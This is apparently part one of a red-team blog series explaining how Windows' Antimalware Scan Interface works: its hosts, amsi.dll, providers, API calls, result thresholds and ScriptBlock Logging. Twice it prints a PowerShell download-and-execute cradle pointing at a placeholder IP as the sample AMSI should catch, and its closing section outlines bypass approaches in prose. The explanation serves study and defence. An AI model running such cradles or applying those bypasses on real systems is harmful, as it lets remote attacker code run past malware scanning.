AMSI Internals: how the Antimalware Scan Interface works

Wed, 21 Oct 2026 00:00:00 +0000

A PowerShell one-liner can build its payload from string fragments, decode it in memory, and hand the result straight to the interpreter. Because no recognizable bytes ever touch the disk, classic antivirus never gets a chance to see them. AMSI is Microsoft’s answer to that gap. It does not scan anything on its own. Instead, it acts as a bus that carries content from the host to a scanner. This detail looks minor at first, but it explains how the feature is built and where it breaks.

This is part 1 of two. Here we cover the plumbing: what AMSI is, who calls it, and what happens when a script runs. Part 2 pulls on the loose threads. Before you can reason about a bypass, you need to know exactly what it bypasses, so we start with the full picture.

The gap it was built to close

Signature engines work on objects: a PE, a document, an archive. They open the file, map it, and match patterns. That model holds only as long as the malicious code exists as a file the engine can read.

Scripting hosts make that failure easy to trigger:

# Three layers of indirection, nothing suspicious on disk.
$a = 'IEX (New-Object Net.WebClient).DownloadStr' + 'ing("http://1.2.3.4/x")'
Invoke-Expression $a

A file-based scanner looking at this sees Invoke-Expression, a token that thousands of legitimate admin scripts use. The dangerous part arrives over the network, gets assembled in a variable, and is compiled from a string. Nothing crosses the disk boundary in a form worth flagging.

Why not teach the engine to unwrap this? Vendors did try. Emulating string concatenation, base64 decoding, and a few common tricks is possible. But every language offers a dozen ways to join two strings, and the engine would have to model all of them, for every host, indefinitely. That is a race you cannot win.

The key idea behind AMSI is this: obfuscation has to end somewhere. Whatever the attacker did upstream, the interpreter eventually needs real, runnable code, and at that moment the content is plaintext. Instead of asking every engine to emulate every script host, the host hands its already-deobfuscated content to the engine at that exact point. AMSI is therefore a single interface, called at the one moment when hiding is no longer possible.

One corollary matters a great deal later on. AMSI inspects the content the interpreter is about to run, not the command line that launched the process, nor the argument you typed. These are separate telemetry sources.

This is why disabling AMSI and disappearing from telemetry are two different things. The end of the article returns to this point.

When all of this landed

Before trusting a timeline, I checked each date against a primary source, because the draft I started from had two of them wrong. Here is what holds up.

Component	When	Source of truth
AMSI ships in the OS	Windows 10 / Server 2016 (2015)	The Register — AMSI announced Jun 2015
PowerShell, WSH, JScript/VBScript	With AMSI itself	MS Learn — AMSI portal (integrated hosts)
Office VBA macros	Announced Sept 2018, shipped in the Office 365 semi-annual channel Jan 2019	MS Security blog
.NET Framework 4.8	April 2019	MS Learn — What’s new in .NET Framework
Excel 4.0 (XLM) macros	2021	MS Security blog — XLM + AMSI

The exact dates matter less than the direction they point. AMSI started with PowerShell and kept adding every host attackers moved to. Once VBA got hooked, attackers switched to XLM, and XLM was hooked in turn.

Three actors, kept apart

Most of the confusion around the AMSI API goes away once you stop treating it as one block and separate the three parties involved.

The host application owns the content just before it executes, and it makes the calls. PowerShell, wscript.exe / cscript.exe, Office, the CLR. A host that does not integrate produces no scan, since AMSI never reaches into a process that did not opt in. People often forget this part. AMSI does not run on its own, so something has to call it.

amsi.dll is the thin, vendor-neutral shim in the middle. It exposes the C API to the host and knows how to locate and talk to whichever engine is registered on the machine. It routes requests, while the verdict comes from the engine.

The provider is the actual engine, whether Defender or your EDR. It is a COM object implementing IAntimalwareProvider (derived from IUnknown), and three methods matter:

// Simplified from amsi.h. The provider receives content as a stream
// and fills in an AMSI_RESULT. DisplayName() is the engine name that
// gets surfaced back - handy when you're triaging a host and want to
// know who actually answered the scan.
interface IAntimalwareProvider : IUnknown {
    HRESULT Scan(AMSI_SCAN_CONTEXT *context, IStream *content, AMSI_RESULT *result);
    void    CloseSession(HAMSISESSION context);
    LPCWSTR DisplayName(void);
};

Two details matter later on. First, the provider loads as a DLL inside the host process. From the host’s point of view, there is no RPC hop to a separate service. This is exactly why in-process tampering is possible at all: the component that decides your fate lives in your own address space. Second, the engine can be absent or unreachable while the host keeps running. Initialization succeeds, the scan returns a non-blocking verdict, and the script executes. In other words, AMSI fails open, and this is by design.

Starting with Windows 10 1903, an AMSI provider DLL that is not Authenticode-signed may refuse to load, depending on how the host is configured. The check is controlled by a FeatureBits value under HKLM\SOFTWARE\Microsoft\AMSI. The reason is the mirror image of the bypass problem: once providers are DLLs loaded into your own process, an unsigned provider is just an injection primitive with a nice name. The gate exists, but it would be a mistake to assume it is enforced the same way on every build.

The provider is registered under HKLM\SOFTWARE\Microsoft\AMSI\Providers\, keyed by CLSID. Defender’s entry is {2781761E-28E0-4109-99FE-B9D127C57AFE}, which points to MpOav.dll in the Defender platform folder. To find out which engine answers on a host, check that key and DisplayName(). Those are the two reliable sources.

The call chain, one call at a time

With the three actors in place, we can watch them interact. Every integrated host runs some version of this sequence, which you can check on any machine with dumpbin /exports amsi.dll.

// 1. Bind the host to the registered engine. One context per host.
HRESULT AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext);
//    appName identifies the caller to the provider - this is the
//    "who is asking" the engine sees.

// 2. Optional. A session lets the engine correlate several scans.
HRESULT AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession);
//    Without it, fragments of one payload look harmless in isolation.
//    With it, the engine ties them into a single, better-informed verdict.

// 3. The actual question.
HRESULT AmsiScanBuffer(HAMSICONTEXT c, PVOID buffer, ULONG length,
                       LPCWSTR contentName, HAMSISESSION s /* optional */,
                       AMSI_RESULT *result);
HRESULT AmsiScanString(HAMSICONTEXT c, LPCWSTR string, LPCWSTR contentName,
                       HAMSISESSION s /* optional */, AMSI_RESULT *result);
//    contentName is just metadata for the verdict (a filename, URL or
//    script ID) - not a path to open. The bytes are already in 'buffer'.

// 4. AmsiCloseSession when the session is done.
// 5. AmsiUninitialize when the host is done with the API entirely.

This part is often misread, yet it sits at the core of a whole family of bypasses. The HRESULT and the verdict are separate things. S_OK only means that a scan happened. The decision lives in the AMSI_RESULT output parameter, and Microsoft recommends reading it through the AmsiResultIsMalware macro rather than comparing the number by hand.

Why the macro? Because the enum is not a set of independent flags. It is an ordered risk scale:

typedef enum AMSI_RESULT {
    AMSI_RESULT_CLEAN                  = 0,      // known good, won't flip on a def update
    AMSI_RESULT_NOT_DETECTED           = 1,      // nothing now; could change after an update
    AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,  // admin-policy block range - begin
    AMSI_RESULT_BLOCKED_BY_ADMIN_END   = 20479,  // admin-policy block range - end
    AMSI_RESULT_DETECTED               = 32768   // malware
};
// Anything the provider returns is an estimated risk level: higher = riskier.
// 32768 and up means "do not run this." The 16384–20479 band is a policy
// block, and the script is simply never executed.

So a return of S_OK proves nothing by itself. The real gate is a comparison against the 32768 threshold. Patching that comparison and patching the scan are two different bypasses, and the distinction matters.

Who actually calls it

Every host follows the same principle: plaintext goes to the engine at the moment of execution. The content differs, though.

Host	What reaches `Scan`	Note
PowerShell	scripts, interactive input, dynamic eval (`Invoke-Expression`, scriptblocks)	The main consumer. Input typed at the prompt counts, with no file involved
WSH (`wscript` / `cscript`)	the script body before execution	`.js` / `.vbs` scanned right before they run
JScript / VBScript	runnable script content	Plaintext at execution time, like everything else
Office VBA	macro VBA source at runtime	The interesting case: a document that static AV cannot read still gets caught once the macro runs
.NET Framework 4.8+	dynamic methods, `Assembly.Load(byte[])`	Code assembled in memory, for compiled-style code
WMI	operations surfaced to the engine	Easy to forget that it uses the same bus

Seeing it happen

Theory is cheap, so let’s make a host hand over the plaintext and watch the engine refuse it. That single observation forms the mental model the next article depends on.

Replaying what the host does, in C

This is roughly what PowerShell’s engine does with the scriptblock you type. Compile against amsi.lib and look at the verdict logic:

#include <windows.h>
#include <amsi.h>
#include <stdio.h>

int main(void) {
    HAMSICONTEXT ctx; HAMSISESSION sess = NULL; AMSI_RESULT res = AMSI_RESULT_CLEAN;

    if (FAILED(AmsiInitialize(L"LAB-01-host", &ctx))) return puts("init failed"), 1;
    AmsiOpenSession(ctx, &sess);   // optional, lets the engine correlate fragments

    LPCWSTR payload = L"IEX (New-Object Net.WebClient).DownloadString('http://1.2.3.4/x')";
    if (SUCCEEDED(AmsiScanString(ctx, payload, L"unknown-script", sess, &res))) {
        wprintf(L"verdict: %u  -> block? %s\n",
                (unsigned)res,
                AmsiResultIsMalware(res) ? L"YES" : L"no");
    }

    AmsiCloseSession(ctx, sess);
    AmsiUninitialize(ctx);
    return 0;
}

Run it twice: once with Defender active, and once with real-time protection off. The verdict changes between the two runs, so capture that contrast:

Flagging a string from PowerShell

You don’t need C to confirm AMSI is working. Microsoft ships a test sample for this: a harmless marker string that every compliant engine is built to detect, the AMSI equivalent of the EICAR file. When you feed it to the interpreter, a working AMSI path blocks it:

# Microsoft's AMSI test sample. On Defender this is flagged as malware.
# The string itself is benign, and the block is real.
'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

A healthy host responds by refusing to run anything:

Run two checks on the same machine, in this order. First, confirm an engine is wired up and see which one:

Get-MpComputerStatus | Select-Object AMServiceEnabled, AMEngineVersion

Next, the link to part 2: where else did that plaintext go, besides the scanner?

# ScriptBlock Logging is a SEPARATE channel from AMSI. Event 4104 carries the
# content of every scriptblock the engine processed, deobfuscated. It has to be
# enabled deliberately.
$reg = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
New-ItemProperty -Path $reg -Name EnableScriptBlockLogging -Value 1 -Force

Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
    Where-Object Id -eq 4104 |
    Select-Object -First 1 -ExpandProperty Message

Look at what happened there. AmsiScanBuffer and event 4104 received the same plaintext through separate code paths. One asks “is this malware?” and can block the script. The other simply records what it saw, whether or not the scan passed. Disable the first, and the second keeps logging. That separation is the main thing to take away from this article.

What’s next

Part 2 covers the failure modes this architecture allows: patching AmsiScanBuffer inside your own process, since the provider lives in your address space, forcing the init path to fail so the engine never engages, or flipping a policy value instead of touching code. It also covers a less obvious point that sits under all of them. AMSI inspects content, while ScriptBlock Logging records it through a different pipe, so “AMSI off” and “logging off” are two actions a defender has to audit separately. An attacker who only did the first still leaves a transcript behind.

The 32768 threshold is the lever most in-memory bypasses pull. Everything else comes down to keeping the plaintext away from the engine altogether.

Resources

Win32 AMSI portal - API overview
How AMSI helps you defend against malware
AmsiInitialize, AmsiOpenSession, AmsiScanBuffer, AmsiScanString
AMSI_RESULT, IAntimalwareProvider
Microsoft Security blog - Office VBA + AMSI and Microsoft Security blog - XLM + AMSI
What’s new in .NET Framework - CLR-to-AMSI integration in 4.8
about_Logging_Windows - ScriptBlock Logging, event 4104, EnableScriptBlockLogging
Outflank, Bypassing AMSI for VBA - VBA timeline and the design gaps behind it

Found a mistake, or a date I got wrong? Tell me and I’ll fix it. Part 2 is next.

Red Team on HitCat